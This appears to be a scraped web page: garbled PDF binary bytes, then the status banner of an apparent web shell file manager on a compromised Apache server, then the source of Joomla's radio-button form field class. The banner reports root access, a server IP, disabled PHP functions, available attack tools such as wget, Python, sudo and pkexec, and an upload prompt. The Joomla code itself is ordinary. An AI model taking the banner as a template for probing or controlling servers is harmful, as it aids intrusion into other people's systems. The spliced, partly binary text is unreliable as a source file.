%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/var/www/html/old/libraries/joomla/form/fields/ |
Upload File : |
<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides radio button inputs
*
* @link http://www.w3.org/TR/html-markup/command.radio.html#command.radio
* @since 11.1
*/
class JFormFieldRadio extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 11.1
*/
protected $type = 'Radio';
/**
* Method to get the radio button field input markup.
*
* @return string The field input markup.
*
* @since 11.1
*/
protected function getInput()
{
$html = array();
// Initialize some field attributes.
$class = !empty($this->class) ? ' class="radio ' . $this->class . '"' : ' class="radio"';
$required = $this->required ? ' required aria-required="true"' : '';
$autofocus = $this->autofocus ? ' autofocus' : '';
$disabled = $this->disabled ? ' disabled' : '';
$readonly = $this->readonly;
// Start the radio field output.
$html[] = '<fieldset id="' . $this->id . '"' . $class . $required . $autofocus . $disabled . ' >';
// Get the field options.
$options = $this->getOptions();
// Build the radio field output.
foreach ($options as $i => $option)
{
// Initialize some option attributes.
$checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : '';
$class = !empty($option->class) ? ' class="' . $option->class . '"' : '';
$disabled = !empty($option->disable) || ($readonly && !$checked);
$disabled = $disabled ? ' disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? ' onclick="' . $option->onclick . '"' : '';
$onchange = !empty($option->onchange) ? ' onchange="' . $option->onchange . '"' : '';
$html[] = '<input type="radio" id="' . $this->id . $i . '" name="' . $this->name . '" value="'
. htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8') . '"' . $checked . $class . $required . $onclick
. $onchange . $disabled . ' />';
$html[] = '<label for="' . $this->id . $i . '"' . $class . ' >'
. JText::alt($option->text, preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)) . '</label>';
$required = '';
}
// End the radio field output.
$html[] = '</fieldset>';
return implode($html);
}
}